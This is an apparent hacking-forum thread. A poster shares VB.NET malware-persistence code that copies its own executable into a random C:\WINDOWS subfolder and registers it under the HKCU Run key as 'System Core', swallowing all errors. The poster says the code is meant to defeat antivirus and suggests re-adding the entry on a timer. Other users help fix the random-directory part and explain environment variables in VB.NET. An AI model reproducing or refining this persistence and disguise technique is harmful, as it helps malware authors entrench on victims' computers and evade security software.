[1llusion]

Hey all!!!

Well, I made this polymorphic startup in VB.NET, sadly, its compatibile only with framework 3.0++

So... I'd need a little help:

Full code:

Code:

Try Dim URL As String = String.Empty Dim rnd As New Random() Dim dirCount As Integer = rnd.Next(100) Dim appname As String = Path.GetFileName(Application.ExecutablePath) Dim dirPath As String = "C:\WINDOWS" Dim dirs = From folder In _ Directory.EnumerateDirectories(dirPath) Dim getDirs As List(Of String) = New List(Of String)(dirs) If Not dirCount > getDirs.Count Then TextBox2.Text = getDirs(dirCount) End If If System.IO.File.Exists(TextBox2.Text & TextBox2.Text + ".exe") = False Then System.IO.File.Copy(System.Reflection.Assembly. _ GetExecutingAssembly.Location, TextBox2.Text & TextBox2.Text + ".exe") End If Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("System Core", TextBox2.Text & TextBox2.Text + ".exe") regKey.Close() Catch ex As Exception End Try

I have problem with:

Code:

Directory.EnumerateDirectories(dirPath) Dim getDirs As List(Of String) = New List(Of String)(dirs)

Thanks alot!!!


Credits: To the unknown guy for the random dirrectory search. Everything else is by me

PS: yes, the endless regs will make it look suspicious, but... if you make it in a timer, it will recover also, the av will get phucked

[Coder-san]

You can get a Random Directory either by:

Code:

Dim rnd As New Random() Dim dirPath As String = Environ("windir") Dim TheDirs() As String = IO.Directory.GetDirectories(dirPath) Dim randomDirIndex As Integer = rnd.Next(UBound(TheDirs)) Dim getDirs As New List(Of String) getDirs.AddRange(IO.Directory.GetDirectories(dirPath)) MsgBox(getDirs(randomDirIndex))

Or by using the old DirectoryListBox (Add from .NET framework components)

Code:

Dim rnd As New Random() Dim appname As String = IO.Path.GetFileName(Application.ExecutablePath) dList.Path = Environ("windir") 'dList is the DirectoryListBox Dim randomDirIndex As Integer = rnd.Next(dList.DirListCount) MsgBox(dList.DirList(randomDirIndex))

Both will work with .NET 2.0

[1234hotmaster]

and yet... i don't understand a word from the codes above :rip:

[1llusion]

You can get a Random Directory either by:

Code:

Dim rnd As New Random() Dim dirPath As String = Environ("windir") Dim TheDirs() As String = IO.Directory.GetDirectories(dirPath) Dim randomDirIndex As Integer = rnd.Next(UBound(TheDirs)) Dim getDirs As New List(Of String) getDirs.AddRange(IO.Directory.GetDirectories(dirPath)) MsgBox(getDirs(randomDirIndex))

Or by using the old DirectoryListBox (Add from .NET framework components)

Code:

Dim rnd As New Random() Dim appname As String = IO.Path.GetFileName(Application.ExecutablePath) dList.Path = Environ("windir") 'dList is the DirectoryListBox Dim randomDirIndex As Integer = rnd.Next(dList.DirListCount) MsgBox(dList.DirList(randomDirIndex))

Both will work with .NET 2.0

Awesome thanks!!!
just a question, if I wanted to scan all folders in C I would do:

Code:

Dim dirPath As String = Environ("C:\")

right?

Also, if I understood the code right, it lists just first dirrectories, how would you list even all subs?

Thanks alot!!!!

[Coder-san]

Awesome thanks!!!
just a question, if I wanted to scan all folders in C I would do:

Code:

Dim dirPath As String = Environ("C:\")

right?

You have a good logic, but Environment variables don't work that way. There are about 33-34 of them in Windows OS by default, and additional ones are provided by .NET framework.

Using this code you can list all Environment Variables in an OS

Code:

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Dim strings As String = String.Empty, i As Integer For i = 1 To 40 strings &= i & vbTab & Environ(i) & vbCrLf Next IO.File.WriteAllText("C:\new.txt", strings) End Sub

If you wanted to scan only directories in System partition then you can do

Code:

Dim dirPath As String = Environ("SystemDrive")

Also, if I understood the code right, it lists just first dirrectories, how would you list even all subs?

Thanks alot!!!!

Check this out: [VB.Net] Making a cool File/Directory Search

---

and yet... i don't understand a word from the codes above :rip:

On second look it can be shortened to this

Dim dirPath As String = Environ("windir") 'To get the Windows OS Directory in a machine, if yours is default then it would get C:\windows
Dim getDirs As New List(Of String) 'Creating our List of String

getDirs.AddRange(IO.Directory.GetDirectories(dirPath)) 'Adding whole range of directories inside the dirPath inside the List
Dim randomDirIndex As Integer = rnd.Next(getDirs.Count) 'Getting our Random integer upto the Count of Items in the getDirs list
MsgBox(getDirs(randomDirIndex)) 'Get a random item of the List getDirs

[1llusion]

Awesome!!! Thanks alot!!!

[1234hotmaster]

tnx alot now i got what you 2 meant XD

btw how many enivron's are there and how many you know? o-o

[Coder-san]

It was quite helpful in VB6, but now .NET provides that info and a lot more, easily. The way to find out all of them is in that post too.

[1234hotmaster]

oh ok tnx...

seems VB6 was more complete then VB8 or VB10

[Coder-san]

It's the opposite actually, .NET provides more than everything you need to make some basic tool without using APIs, even more than 3-4 ways most of the times.
In VB6 you have to use an API to even get the Visual style to work.